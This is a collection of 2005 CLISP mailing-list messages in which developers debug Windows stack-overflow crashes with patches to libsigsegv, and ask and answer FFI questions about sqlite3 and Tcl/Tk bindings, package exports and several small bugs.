>>> RUN-ACKERMANN
>>> [4]> (RUN-ACKERMANN)

>>> *** - Lisp stack overflow. RESET
>>> [5]> (RUN-ACKERMANN)

>>> *** - Lisp stack overflow. RESET
>>> [6]> (RUN-ACKERMANN)

>>> *** - Lisp stack overflow. RESET
>>> [7]> (RUN-ACKERMANN)

>>> *** - Lisp stack overflow. RESET
>>> [8]>

>>> Regards,

>>> e

>>> Earlier I wrote...

>>> Monday, March 14, 2005, 8:17:59 AM, you wrote:

>>>>> libsigsegv: i386-pc-mingw32 | yes | yes | 2.2

>>>> Thanks, I'm adding this to the PORTING file.

>>> Hmm. I just tried running cl-bench with clisp built from CVS using
>>> libsigsegv 2.2 and got an Access Violation crash. Below is the DrMinGW
>>> dump. The console said:

>>> === running #<benchmark FIB-RATIO for 500 runs>
>>> === running #<benchmark ACKERMANN for 1 runs>

>>> *** - Program stack overflow. RESET

>>> *** - Program stack overflow. RESET

>>> <crash>

>>> There were no ACKERMANN results in the cl-bench report.

>>> Regards,

>>> e

>>> lisp.exe caused an Access Violation at location 0041b948 in
>>> module lisp.exe Reading from location 00030ffc.

>>> Registers:
>>> eax=004dc201 ebx=00031000 ecx=0041b930 edx=00000000 esi=00000000 edi=00030000
>>> eip=0041b948 esp=0022fd98 ebp=0022fdb0 iopl=0         nv up ei pl zr na po nc
>>> cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000          efl=00000246

>>> Call stack:
>>> 0041B948  lisp.exe:0041B948
>>> 0041BC6D  lisp.exe:0041BC6D
>>> 0041BC92  lisp.exe:0041BC92
>>> 004D0E15  lisp.exe:004D0E15  stack_overflow_handler  handler-win32.c:116
>>> static void stack_overflow_handler(
>>>         long unsigned int faulting_page_address = 2292428,
>>>         stackoverflow_context_t context = &{
>>>                 DWORD ContextFlags = ,
>>>                 DWORD Dr0 = ,
>>>                 DWORD Dr1 = ,
>>>                 DWORD Dr2 = ,
>>>                 DWORD Dr3 = ,
>>>                 DWORD Dr6 = ,
>>>                 DWORD Dr7 = ,
>>>                 FLOATING_SAVE_AREA FloatSave = {
>>>                         DWORD ControlWord = ,
>>>                         DWORD StatusWord = ,
>>>                         DWORD TagWord = ,
>>>                         DWORD ErrorOffset = ,
>>>                         DWORD ErrorSelector = ,
>>>                         DWORD DataOffset = ,
>>>                         DWORD DataSelector = ,
>>>                         BYTEuint32[] RegisterArea = (array),
>>>                         DWORD Cr0NpxState = 
>>>                 },
>>>                 DWORD SegGs = ,
>>>                 DWORD SegFs = ,
>>>                 DWORD SegEs = ,
>>>                 DWORD SegDs = ,
>>>                 DWORD Edi = ,
>>>                 DWORD Esi = ,
>>>                 DWORD Ebx = ,
>>>                 DWORD Edx = ,
>>>                 DWORD Ecx = ,
>>>                 DWORD Eax = ,
>>>                 DWORD Ebp = ,
>>>                 DWORD Eip = ,
>>>                 DWORD SegCs = ,
>>>                 DWORD EFlags = ,
>>>                 DWORD Esp = ,
>>>                 DWORD SegSs = ,
>>>                 BYTEuint32[] ExtendedRegisters = (array)
>>>         }
>>> )
>>>         ...
>>>          ok:
>>>           for (;;)
>>>>           (*stk_user_handler) (0, context);
>>>         }
        
>>>         ...

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I'm newbie in ffi (sorry)
I try to be connected to sqlite3. The first variant:

(def-call-out sqlite3-open
   (:name "sqlite3_open")
   (:library *sqlite-shared-lib*)
   (:arguments (db-name c-string)
               (db (ffi:c-ptr ffi:c-pointer) :out :alloca))
   (:return-type ffi:int))

(def-call-out sqlite3-close
   (:name "sqlite3_close")
   (:library *sqlite-shared-lib*)
   (:arguments (db ffi:c-pointer))
   (:return-type ffi:int))

(setq ret (multiple-value-bind (stat db) (sqlite3-open *db-name*)
   (cons stat db)))

(sqlite3-close (cdr ret))


It's work. It's simple. Nice! Excellent!!! :)

The second variant (only sqlite3-open):

(def-call-out sqlite3-open
   (:name "sqlite3_open")
   (:library *sqlite-shared-lib*)
   (:arguments (db-name c-string)
               (db ffi:c-pointer))
   (:return-type ffi:int))

(setq db (ffi:foreign-allocate ffi:c-pointer))
(sqlite3-open *db-name* (ffi:foreign-address db))
(sqlite3-close (ffi:foreign-value db))

How to make that sqlite3-close it was called as well as in the first 
variant?

I should free memory (db) in the first or second variant?

Thanks!

-- 
WBR, Yaroslav Kavenchuk.


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Now I do so:

(def-call-out sqlite3-libversion
   (:name "sqlite3_libversion")
   (:library *sqlite-shared-lib*)
   (:return-type ffi:c-string))

(setf (documentation 'sqlite3-libversion 'function)
   "Return a string which contains the version number of the library.")

There is other way?

def-call-out do not have option :documentation.

May be do it?

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Edi Weitz:
> See last paragraph of this message:
> 
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> <http://groups-beta.google.com/group/comp.lang.lisp/msg/f789ae99b36c84a6
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> 
> Maybe your problem is related.

Thanks.
But not helped. I close all programs, clear systray - not work.

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I seem to have found two more bugs in libsigsegv 2.2 handler-win32.c,
and their repair restores CLISP to correct stack overflow handling.
These two new fixes are in addition to the two fixes I wrote about
yesterday (well, much earlier today I guess) (repeated below).

1. WinXP seems to be allocating 8K of guard pages below the stack.
libsigsegv 2.2 re-installs only 4K of it, so the second stack overflow
has less slop. This may explain why the second overflow often fails.

2. WinXP puts the exception handler's CONTEXT structure (wait for
it...) in the overflowed stack's guard page! This is below the SP (by
about 1K bytes I think) of the exception handler. libsigsegv 2.2 was
re-guarding this page, and then passing a pointer to this CONTEXT to
the CLISP handler. As soon as the CLISP handler tried to use this
CONTEXT (for %ebx for example) it got a recursive stack overflow, ad
infinitum. This happened on the first or second stack overflow
depending on how much debugging code I had inserted; typically on the
2nd interrupt without fix #1 above, on the 1st interrupt with fix #1.

The fixes #1 and #2 are in this diff, along with the handler-win32.c
argument ordering fix from my last message.

e

$ diff -u src/handler-win32~.c src/handler-win32.c
--- src/handler-win32~.c        Mon Apr 28 07:01:50 2003
+++ src/handler-win32.c Fri Mar 25 18:10:17 2005
@@ -101,12 +101,12 @@
 
   /* Now add the PAGE_GUARD bit to the first existing page.  */
   /* On WinNT this works...  */
-  if (VirtualProtect (info.BaseAddress, 0x1000, info.Protect | PAGE_GUARD,
+  if (VirtualProtect (info.BaseAddress, 0x2000, info.Protect | PAGE_GUARD, /* was: 0x1000 */
                       &oldprot))
     goto ok;
   if (GetLastError () == ERROR_INVALID_PARAMETER)
     /* ... but on Win95 we need this:  */
-    if (VirtualProtect (info.BaseAddress, 0x1000, PAGE_NOACCESS, &oldprot))
+    if (VirtualProtect (info.BaseAddress, 0x2000, PAGE_NOACCESS, &oldprot)) /* was: 0x1000 */
       goto ok;
  failed:
   for (;;)
@@ -128,8 +128,14 @@
        && ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_ACCESS_VIOLATION
      ))
     {
-#if 0 /* for debugging only */
-      printf ("Exception!\n");
+#if 0 /* for debugging only */
+#if 0 /* for debugging after stack overflow only */
+static int pex = 0;
+pex |= (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_STACK_OVERFLOW);
+if (pex)
+#endif
+{
+      printf ("\nException!\n");
       printf ("Code = 0x%x\n",
               ExceptionInfo->ExceptionRecord->ExceptionCode);
       printf ("Flags = 0x%x\n",
@@ -154,6 +160,7 @@
       printf ("edi = 0x%x, ", ExceptionInfo->ContextRecord->Edi);
       printf ("ebp = 0x%x, ", ExceptionInfo->ContextRecord->Ebp);
       printf ("esp = 0x%x\n", ExceptionInfo->ContextRecord->Esp);
+}
 #endif
       if (ExceptionInfo->ExceptionRecord->NumberParameters == 2)
         {
@@ -164,12 +171,14 @@
               /* Restart the program, giving it a sane value for %esp.  */
               unsigned long faulting_page_address = (unsigned long)address & -0x1000;
               unsigned long new_safe_esp = ((stk_extra_stack + stk_extra_stack_size) & -8);
-              new_safe_esp -= 12; /* make room for arguments */
-              ExceptionInfo->ContextRecord->Esp = new_safe_esp;
+              stackoverflow_context_t ctx = ExceptionInfo->ContextRecord;
+              new_safe_esp -= (12 + sizeof(*ctx)); /* make room for arguments */
+              memcpy( (void *)(new_safe_esp + 12), (const void *)ctx, sizeof(*ctx));
+              ctx->Esp = new_safe_esp;
               /* Call stack_overflow_handler(faulting_page_address).  */
-              ExceptionInfo->ContextRecord->Eip = (unsigned long)&stack_overflow_handler;
-              *(unsigned long *)(new_safe_esp + 8) = faulting_page_address;
-              *(unsigned long *)(new_safe_esp + 4) = (unsigned long) ExceptionInfo->ContextRecord;
+              ctx->Eip = (unsigned long)&stack_overflow_handler;
+              *(unsigned long *)(new_safe_esp + 4) = faulting_page_address;
+              *(unsigned long *)(new_safe_esp + 8) = new_safe_esp + 12;
               return EXCEPTION_CONTINUE_EXECUTION;
             }
           if (user_handler != (sigsegv_handler_t) NULL

Friday, March 25, 2005, 1:42:46 AM, I wrote:

> OK, I have found some problems that were causing these crashes, and a
> couple fixes. One fix is to CLISP, and the other is to libsigsegv 2.2
> While I believe the fixes are correct, the problem still remains in
> slightly different form: now the second stack overflow leads to
> infinite regress.

> The CLISP problem was simply that the case for WIN32_NATIVE in
> stackoverflow_handler() was missing.

> $ diff -u spvw_sigsegv~.d spvw_sigsegv.d
> --- spvw_sigsegv~.d     Mon Feb  7 16:47:21 2005
> +++ spvw_sigsegv.d      Fri Mar 25 01:22:03 2005
> @@ -153,6 +153,11 @@
>      if (scp) { setSTACK(STACK = (gcv_object_t*)(scp->Ebx)); }
>     #endif
>    #endif
> +  #ifdef WIN32_NATIVE
> +   #ifdef I80386
> +    if (scp) { setSTACK(STACK = (gcv_object_t*)(scp->Ebx)); }
> +   #endif
> +  #endif
>    }
>   #endif
>    SP_ueber();

> The libsigsegv 2.2 problem is that the CONTEXT and address passed up
> to stackoverflow_handler() were passed in the wrong order:

> $ diff -u handler-win32~.c handler-win32.c
> --- handler-win32~.c    Mon Apr 28 07:01:50 2003
> +++ handler-win32.c     Fri Mar 25 01:29:43 2005
> @@ -168,8 +175,8 @@
>                ExceptionInfo->ContextRecord->Esp = new_safe_esp;
>                /* Call
> stack_overflow_handler(faulting_page_address).  */
>                ExceptionInfo->ContextRecord->Eip = (unsigned long)&stack_overflow_handler;
> -              *(unsigned long *)(new_safe_esp + 8) = faulting_page_address;
> -              *(unsigned long *)(new_safe_esp + 4) = (unsigned
> long) ExceptionInfo->ContextRecord;
> +              *(unsigned long *)(new_safe_esp + 4) = faulting_page_address;
> +              *(unsigned long *)(new_safe_esp + 8) = (unsigned
> long) ExceptionInfo->ContextRecord;
>                return EXCEPTION_CONTINUE_EXECUTION;
>              }
>            if (user_handler != (sigsegv_handler_t) NULL

> With these two fixes there are no longer any Access Violations.

> (!)

> Now, if you have any clues about the resulting infinite regress:

> *** - Program stack overflow. RESET

> *** - Program stack overflow. RESET

> *** - Program stack overflow. RESET

> *** - Program stack overflow. RESET

> *** - Program stack overflow. RESET

> *** - Program stack overflow. RESET

> *** - Program stack overflow. RESET

> ...

> ?

> e

> Thursday, March 24, 2005, 2:19:18 PM, I wrote:

[a lot of stuff deleted]

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Thursday, March 24, 2005, 6:30:42 PM, you wrote:

>> * Pascal J.Bourguignon <cwo@vasbezngvzntb.pbz> [2005-03-22 01:05:06 +0100]:
>>
>> Break 1 DOMINGO[4]> (directory
>> "PACKAGES:COM;INFORMATIMAGO;CL-LOADERS;*.*.")
>>
>> *** - Internal error: statement in file "pathname.d", line 1082 has been reached!!
>> Please send the authors of the program a description how you produced
>> this error!

> do you get something similar on
> (logical-pathname "sys:foo.bar.")
> (instead of a parse-error?)

> does the appended patch fix the problem?

No...

A clean build from CVS
with /pathname.d/1.360/Sat Mar 26 00:33:16 2005//
fails the above test during a build:

$ ./configure --with-mingw --with-module=dirkey --build build-mingw >> log-build-mingw.txt 2>&1

RUN-TEST: finished "excepsit" (1 error out of 363 tests)
RUN-ALL-TESTS: grand total: 1 error out of 10,343 tests

$ cat /c/dev/clisp/clisp/build-mingw/tests/*.erg
Form: (LOGICAL-PATHNAME "sys:foo.bar.")
CORRECT: PARSE-ERROR
CLISP  : #<SIMPLE-TYPE-ERROR #x22279B61>

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Sam Steingold writes:
> > * Pascal J.Bourguignon <cwo@vasbezngvzntb.pbz> [2005-03-22 01:05:06 +0100]:
> >
> > Break 1 DOMINGO[4]> (directory "PACKAGES:COM;INFORMATIMAGO;CL-LOADERS;*.*.")
> >
> > *** - Internal error: statement in file "pathname.d", line 1082 has been reached!!
> > Please send the authors of the program a description how you produced
> > this error!
> 
> do you get something similar on
> (logical-pathname "sys:foo.bar.")
> (instead of a parse-error?)

Yes.

$ clisp -q -norc -ansi

[1]> (logical-pathname "sys:foo.bar.")

*** - Internal error: statement in file "pathname.d", line 1082 has been reached!!
Please send the authors of the program a description how you produced this error!
Break 1 [2]> 

 
> does the appended patch fix the problem?

Seems to work:

$ clisp -q -norc -ansi

[1]> (logical-pathname "sys:foo.bar.")

*** - PARSE-NAMESTRING: syntax error in filename "sys:foo.bar." at position 11
Break 1 [2]> 

 
> thanks for the bug report!

Thanks for the fix!


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Date: Sat Mar 26 12:01:39 2005
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Doug Currie writes:
> 
> Thursday, March 24, 2005, 6:30:42 PM, you wrote:
> 
> >> * Pascal J.Bourguignon <cwo@vasbezngvzntb.pbz> [2005-03-22 01:05:06 +0100]:
> >>
> >> Break 1 DOMINGO[4]> (directory
> >> "PACKAGES:COM;INFORMATIMAGO;CL-LOADERS;*.*.")
> >>
> >> *** - Internal error: statement in file "pathname.d", line 1082 has been reached!!
> >> Please send the authors of the program a description how you produced
> >> this error!
> 
> > do you get something similar on
> > (logical-pathname "sys:foo.bar.")
> > (instead of a parse-error?)
> 
> > does the appended patch fix the problem?
> 
> No...
> 
> A clean build from CVS

Well on 2.33.2 it worked here.

> with /pathname.d/1.360/Sat Mar 26 00:33:16 2005//
> fails the above test during a build:
> 
> $ ./configure --with-mingw --with-module=dirkey --build build-mingw >> log-build-mingw.txt 2>&1
> 
> RUN-TEST: finished "excepsit" (1 error out of 363 tests)
> RUN-ALL-TESTS: grand total: 1 error out of 10,343 tests
> 
> $ cat /c/dev/clisp/clisp/build-mingw/tests/*.erg
> Form: (LOGICAL-PATHNAME "sys:foo.bar.")
> CORRECT: PARSE-ERROR
> CLISP  : #<SIMPLE-TYPE-ERROR #x22279B61>

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clisp from CVS head, mingw

tcl-ffi.lisp:
(defpackage :tcl-ffi (:modern t) (:use :COMMON-LISP :FFI)
   (:export
     #:Tcl-FreeProc #:Tcl-Interp #:*Tcl-Interp
<skip>
;;;; Types

(ffi:def-c-type Tcl-FreeProc
   (ffi:c-function (:arguments (blockPtr ffi:c-string))
                   (:return-type ffi:nil)
                   (:language :stdc)))

(ffi:def-c-struct Tcl-Interp
   (result ffi:c-string)
   (freeProc Tcl-FreeProc)
   (errorLine ffi:int))

(ffi:def-c-type *Tcl-Interp (ffi:c-ptr Tcl-Interp))
<skip>

tk-ffi.lisp:
(defpackage :tk-ffi (:modern t) (:use :COMMON-LISP :FFI :tcl-ffi)
<skip>
(ffi:def-call-out Tk-Init
   (:name "Tk_Init")
   (:library *tk-shared-lib*)
   (:arguments (interp *Tcl-Interp))
   (:return-type ffi:int))
<skip>

$ clisp -L ENGLISH
[1]> (load "tcl-ffi.lisp")
;; Loading file tcl-ffi.lisp ...
;; Loaded file tcl-ffi.lisp
T
[2]> (load "tk-ffi.lisp")
;; Loading file tk-ffi.lisp ...
*** - Incomplete FFI type *Tcl-Interp is not allowed here.
The following restarts are available:
SKIP           :R1      skip this form and proceed
STOP           :R2      stop loading file
ABORT          :R3      abort
Break 1 tk-ffi[3]>

ffi types are not exported between packages?

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> * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2005-03-28 11:32:17 +0300]:
>
> [2]> (load "tk-ffi.lisp")
> ;; Loading file tk-ffi.lisp ...
> *** - Incomplete FFI type *Tcl-Interp is not allowed here.
> The following restarts are available:
> SKIP           :R1      skip this form and proceed
> STOP           :R2      stop loading file
> ABORT          :R3      abort
> Break 1 tk-ffi[3]>
>
> ffi types are not exported between packages?

(apropos "*Tcl-Interp") should explain things.

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Sam Steingold:
>>[2]> (load "tk-ffi.lisp")
>>;; Loading file tk-ffi.lisp ...
>>*** - Incomplete FFI type *Tcl-Interp is not allowed here.
>>The following restarts are available:
>>SKIP           :R1      skip this form and proceed
>>STOP           :R2      stop loading file
>>ABORT          :R3      abort
>>Break 1 tk-ffi[3]>
>>
>>ffi types are not exported between packages?
> 
> 
> (apropos "*Tcl-Interp") should explain things.

[3]> (apropos "*Tcl-Interp")
TCL-FFI:*tcl-interp
TCL-FFI::*Tcl-Interp

Only symbols. So should be? That is, ffi:c-types and ffi:c-struct it is 
impossible to export?

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> * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2005-03-25 11:28:18 +0200]:
>
> def-call-out do not have option :documentation.
it now does.
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Date: Mon Mar 28 08:03:12 2005
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> * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2005-03-28 17:59:47 +0300]:
>
> Sam Steingold:
>>>[2]> (load "tk-ffi.lisp")
>>>;; Loading file tk-ffi.lisp ...
>>>*** - Incomplete FFI type *Tcl-Interp is not allowed here.
>>>The following restarts are available:
>>>SKIP           :R1      skip this form and proceed
>>>STOP           :R2      stop loading file
>>>ABORT          :R3      abort
>>>Break 1 tk-ffi[3]>
>>>
>>>ffi types are not exported between packages?
>> (apropos "*Tcl-Interp") should explain things.
>
> [3]> (apropos "*Tcl-Interp")
> TCL-FFI:*tcl-interp
> TCL-FFI::*Tcl-Interp

(mapc #'describe (apropos-list "*Tcl-Interp"))

1. how do you want your symbol to be named?
   make sure that it is indeed named as you wanted.

2. make sure that when you think you are using it, you are indeed using
   it and not creating a new symbol (as you are now).
   the easy way is to lock the package TCL-FFI.

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These are idle "help me understand the implementation/code" questions
rather than "this is preventing me from using CLISP" questions...

Questions:

1. Is there a CLISP function available to get the current program
stack depth (in bytes) or machine stack pointer? I suppose a simple
ffi function would be pretty easy to do, but I was hoping something
was "in stock."

[If my calculations below are correct, there is an overhead of 300
bytes per lisp function call on the program stack, plus an overhead of
something like 1M bytes of program stack space in a deeply recursive
function that I cannot readily identify.]

2. Where is the 1M bytes of program stack space going? I know there is
a 16K set-aside for stack overflow at each end. There are probably
also some jmpbufs for unwind/reset. What else eats so much stack space?

3. Why are 300 bytes of program stack needed for _interpret_bytecode_?
(This is a rhetorical question.) Has any thought been given to trying
to reduce this? Or to avoid recursing on the full interpreter to make
a lisp function call?

Background:

Disassembly of _interpret_bytecode_ (gcc 3.4.2):

    2950:       55                      push   %ebp
    2951:       89 d1                   mov    %edx,%ecx
    2953:       89 e5                   mov    %esp,%ebp
    2955:       57                      push   %edi
    2956:       56                      push   %esi
    2957:       81 ec 20 01 00 00       sub    $0x120,%esp

reveals that each recursive call of the interpreter uses 300 bytes of
program stack space.

Disassembly of ackermann (CLISP ~2.33.83):

(defun ackermann (m n)
  (declare (type integer m n))
  (cond
    ((zerop m) (1+ n))
    ((zerop n) (ackermann (1- m) 1))
    (t (ackermann (1- m) (ackermann m (1- n))))))

Disassembly of function ACKERMANN
(CONST 0) = 1
2 required arguments
0 optional arguments
No rest parameter
No keyword parameters
18 byte-code instructions:
0     L0
0     (LOAD&PUSH 2)
1     (CALLS2&JMPIF 146 L19)              ; ZEROP
4     (LOAD&PUSH 1)
5     (CALLS2&JMPIF 146 L24)              ; ZEROP
8     (LOAD&DEC&PUSH 2)
10    (LOAD&PUSH 3)
11    (LOAD&DEC&PUSH 3)
13    (JSR&PUSH L0)
15    (JMPTAIL 2 5 L0)
19    L19
19    (LOAD&PUSH 1)
20    (CALLS2 151)                        ; 1+
22    (SKIP&RET 3)
24    L24
24    (LOAD&DEC&PUSH 2)
26    (CONST&PUSH 0)                      ; 1
27    (JMPTAIL 2 5 L0)
NIL

Ackermann(3,k) has a recursive depth of 2^(k+3)-1.

On WinXP (with a default program stack size of 2M), (ackermann 3 8)
works and (ackermann 3 9) overflows the program stack.

(ackermann 3 9) should require (2^(9+3)-1) = 4095 stack frames

4095 * 300 = 1,228,500 bytes so we are in the ballpark of stack
overflow.

Where are the other (2.0M - 1.2M =) 0.8M bytes of program stack space
allocated?

e




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Hi,

generally, please post a URL to the API documentation when asking advice for how to interface to a particular foreign function. The reference material is needed to answer.

I searched and found
http://www.sqlite.org/capi3ref.html#sqlite3_open

Yaroslav Kavenchuk wrote:
>               (db (ffi:c-ptr ffi:c-pointer) :out :alloca))
>It's work. It's simple. Nice! Excellent!!! :)
Great. It's a typical example of :out parameter

>The second variant (only sqlite3-open):
>               (db ffi:c-pointer))
>(setq db (ffi:foreign-allocate ffi:c-pointer))
                                ^'/quote missing here
>(sqlite3-open *db-name* (ffi:foreign-address db))
>(sqlite3-close (ffi:foreign-value db))

>How to make that sqlite3-close it was called as well as in the first 
>variant?
Sorry, I don't understand the question.

>I should free memory (db) in the first or second variant?
Yes. More precisely, you should extract the value right after the call to open, then free the container. There's no need to repeat (ffi:foreign-value db) every time you need to access a DB function.

You need to realize that it's only for OPEN that you need to provide a location where to put the second return value from sqlite_open(). After that, you should free this temporary storage.
(let ((db foreign-allocate))
  (cons (open3 filename db) ; benefit from left-to-right evaluation order
        (prog1 (foreign-value db)
               (foreign-free db)))
The SQLite documentation states that the pointer is always filled, even in case of an error.

As you have seen, :out parameters cover exactly this scenario. CLISP will stack-allocate a pointer for you. CLISP's FFI is quite expressive.

The second variant looks more like what UFFI would look like. But even UFFI has a with-foreign-object macro that may do stack allocations on some implementations:

(defun my-open (filename)
  (ffi:with-foreign-object (db 'c-pointer) ; no need for malloc
    (cons (sqlite-open filename db)
          (foreign-value db))))
But why use these cumbersome forms when :out does it for you?

Regards,
	Jorg Hohle.


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Hoehle, Joerg-Cyril:

> generally, please post a URL to the API documentation when asking advice
> for how to interface to a particular foreign function. The reference
> material is needed to answer.

Sorry, I shall be corrected. Thanks.

>>How to make that sqlite3-close it was called as well as in the first 
>>variant?
> 
> Sorry, I don't understand the question.

Excuse my bad English. But you have fine answered it. Many thanks.

>>I should free memory (db) in the first or second variant?
> 
> Yes. More precisely, you should extract the value right after the call
> to open, then free the container. There's no need to repeat
> (ffi:foreign-value db) every time you need to access a DB function.

Thanks. I did not know.

> As you have seen, :out parameters cover exactly this scenario. CLISP
> will stack-allocate a pointer for you. CLISP's FFI is quite expressive.
<skip>
> But why use these cumbersome forms when :out does it for you?

You are right. Many thanks once again.

Where still it is possible to learn about ffi except for impnotes?

-- 
WBR, Yaroslav Kavenchuk.


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Date: Tue Mar 29 02:46:29 2005
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Sam Steingold:

>>>(apropos "*Tcl-Interp") should explain things.
>>
>>[3]> (apropos "*Tcl-Interp")
>>TCL-FFI:*tcl-interp
>>TCL-FFI::*Tcl-Interp
> 
> 
> (mapc #'describe (apropos-list "*Tcl-Interp"))

if removed *Tcl-Interp from option :export in define package tcl-ffi

[2]> (load "tcl-ffi")
;; Loading file G:\Work\Lisp\cltk\tcl-ffi.lisp ...
;; Loaded file G:\Work\Lisp\cltk\tcl-ffi.lisp
T
[3]> (mapc #'describe (apropos-list "*Tcl-Interp"))

TCL-FFI::*Tcl-Interp is the symbol TCL-FFI::*Tcl-Interp, lies in 
#<PACKAGE TCL-FFI>, is accessible
in 1 package TCL-FFI.

  #<PACKAGE TCL-FFI> is the package named TCL-FFI.
  It imports the external symbols of 2 packages CS-COMMON-LISP, FFI and 
exports 9 symbols, but no
  package uses these exports.
  It is a modern case-sensitive package.
(TCL-FFI::*Tcl-Interp)


And in package tk-ffi this is work:

(defpackage :tk-ffi (:modern t) (:use :COMMON-LISP :FFI :tcl-ffi)...

(ffi:def-call-out Tk-Init
   (:name "Tk_Init")
   (:library *tk-shared-lib*)
   (:arguments (interp tcl-ffi::*Tcl-Interp))
   (:return-type ffi:int))

But how to declare *Tcl-Interp in tcl-ffi, to use in tk-ffi *Tcl-Interp 
instead of tk-ffi::*Tcl-Interp? If it is possible.

Thanks!

-- 
WBR, Yaroslav Kavenchuk.


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> * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2005-03-29 13:47:05 +0300]:
>
> But how to declare *Tcl-Interp in tcl-ffi, to use in tk-ffi
> *Tcl-Interp instead of tk-ffi::*Tcl-Interp?

your problem is not the way you declare *Tcl-Interp but the way you use
it.

if it resides in a modern package, you must use it with the correct
case.
in particular, in a non-modern package, you must use the package prefix.


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[feature request sent here for discussion]

Hi,

Sometimes I think EXT:LETF is a nifty macro. Mostly I would consider using it with hash tables.

However it does not restore hash table entries correctly (how is that defined anyway?) in the case where the key was not present before:

(let((h(make-hash-table)))
  (ext:letf (((gethash 1 h) 2))
    (princ(gethash 1 h)))
  (gethash 1 h))
prints 2 and yields NIL ; T

I'd expect nil; nil as result.

I wonder whether ext:LETF resp. get-setf-expander can accomodate such behaviour or whether it's really gethash that needs special treatment.

Here's the behaviour I would expect for hash tables:
(multiple-value-bind (found old) (gethash...)
  (setf (gethash ...) new)
  (unwind-protect  body
    (if found (setf (gethash ...) old)
              (remhash key table))))

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Sam Steingold:

> your problem is not the way you declare *Tcl-Interp but the way you use
> it.
> 
> if it resides in a modern package, you must use it with the correct
> case.
> in particular, in a non-modern package, you must use the package prefix.

Well, small example. File ffi-types-test.lisp:
(defpackage :ffi-types
  (:modern t)
  (:use :COMMON-LISP :FFI))

(in-package :ffi-types)

(ffi:def-c-type Tcl-FreeProc
  (ffi:c-function (:arguments (blockPtr ffi:c-string))
                  (:return-type ffi:nil)
                  (:language :stdc)))

(ffi:def-c-struct Tcl-Interp
  (result ffi:c-string)
  (freeProc Tcl-FreeProc)
  (errorLine ffi:int))

(ffi:def-c-type *Tcl-Interp (ffi:c-ptr Tcl-Interp))

(defpackage :ffi-functions
  (:modern t)
  (:use :COMMON-LISP :FFI :ffi-types))

(in-package :ffi-functions)

(defvar *tk-shared-lib* "tk84.dll")

(ffi:default-foreign-language :stdc)

(ffi:def-call-out Tk-Init
  (:name "Tk_Init")
  (:library *tk-shared-lib*)
  (:arguments (interp *Tcl-Interp))
  (:return-type ffi:int))


Both packages (:modern t)
case of *Tcl-Interp equal in both packages

[8]> (load "ffi-types-test.lisp")
;; Loading file ffi-types-test.lisp ...
*** - Incomplete FFI type *Tcl-Interp is not allowed here.
The following restarts are available:
SKIP           :R1      skip this form and proceed
STOP           :R2      stop loading file
ABORT          :R3      abort
Break 1 ffi-functions[9]> :a

If use package prefix - all rights. I want withpot a prefix, but I do
not know as.

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If append to the end of package :ffi-types

   (export...)

all works.
But if append (:export...) in (defpackage...) - gives out the error.

Or need to compile file.lisp with option -modern and load file.fas with
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> * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2005-03-31 17:09:50 +0300]:
>
> If append to the end of package :ffi-types
>
>    (export...)
>
> all works.
> But if append (:export...) in (defpackage...) - gives out the error.

you need to ponder in which package the form is being read.
:export in defpackage needs strings, not symbols.


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Sam Steingold:

>>If append to the end of package :ffi-types
>>
>>   (export...)
>>
>>all works.
>>But if append (:export...) in (defpackage...) - gives out the error.
> 
> 
> you need to ponder in which package the form is being read.
> :export in defpackage needs strings, not symbols.

Thanks!

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> * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2005-03-31 13:18:08 +0300]:
>
> If use package prefix - all rights. I want withpot a prefix, but I do
> not know as.

you must export it then.
I recommend using something like

(defpackage "MATLAB"
  (:modern t)
  (:use "COMMON-LISP" "FFI")
  (:shadowing-import-from "EXPORTING"
           #:defconstant #:defun #:defmacro
           #:def-c-type #:def-c-enum #:def-c-struct #:def-c-var #:def-call-out))

then all thins defined by the "EXPORTING" macros are exported automatically.

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In CVS HEAD, POSIX:SET-FILE-STAT doesn't work properly:


[2]> (with-open-file (f "zzzz" :direction :output :if-exists :supersede))
NIL
[3]> (posix:set-file-stat "zzzz" :mtime 0)

[4]> (posix:set-file-stat "zzzz" :mtime (get-universal-time))

*** - not a 32-bit integer: 3321189652
The following restarts are available:
ABORT          :R1      ABORT
Break 1 [5]> :a
[6]> 


The problem seems to be in lines 1055 and 1069 of
modules/syscalls/calls.c: the two calls to I_to_L should be replaced
by calls to I_to_UL.


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> * Aurelio Bignoli <pyvfc@ovtabyv.vg> [2005-03-31 23:45:43 +0200]:
>
> In CVS HEAD, POSIX:SET-FILE-STAT doesn't work properly:
> The problem seems to be in lines 1055 and 1069 of
> modules/syscalls/calls.c: the two calls to I_to_L should be replaced
> by calls to I_to_UL.

thanks, fixed!

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Foreign function returns the pointer on structure.
This pointer is necessary for a call of other foreign functions. Also it
is necessary to read / write fields of this structure in cLisp.

How?

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Dear all,

I am using S-XML-RPC ( http://common-lisp.net/project/s-xml-rpc/ ) in 
ACL for integrating Java and Lisp xml-rpc calls  (basically I am calling 
Lisp from Java). The Lisp system I have developed is a very power NLP 
tool. It also runs completely under CLISP.
Now, I thought to port S-XML-RPC also to CLISP, but it seems that this 
is not possible due to the lack of multithreading in CLISP.
Is this still true? Are there any alternatives within CLISP?

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clisp-2.33.2



COM.INFORMATIMAGO.SUSV3.DIRENT[69]> 
(DEFUN READDIR (DIR-STREAM)
  (ffi:with-c-var (d 'susv3:dirent
                     (FFI:UNSIGNED-FOREIGN-ADDRESS
                      (check-pointer (susv3:readdir DIR-STREAM)
                                     :function  'susv3:readdir
                                     :arguments (list DIR-STREAM)
                                     :caller    'readdir
                                     :no-error (list susv3:einval))))
    (unless (NULL d) 
      (let ((result (make-dirent)))
        (c-dirent->dirent (ffi:deref (ffi:cast d '(ffi:c-ptr-null susv3:dirent))) result)
        result))))
READDIR
COM.INFORMATIMAGO.SUSV3.DIRENT[70]> (readdir common-lisp-user::d)

*** - #<FOREIGN-ADDRESS #x081D87D8> cannot be converted to the foreign type 
#(FFI:C-STRUCT COM.INFORMATIMAGO.CLISP.SUSV3:DIRENT NIL
  #(COM.INFORMATIMAGO.CLISP.SUSV3::D_INO COM.INFORMATIMAGO.CLISP.SUSV3::D_OFF
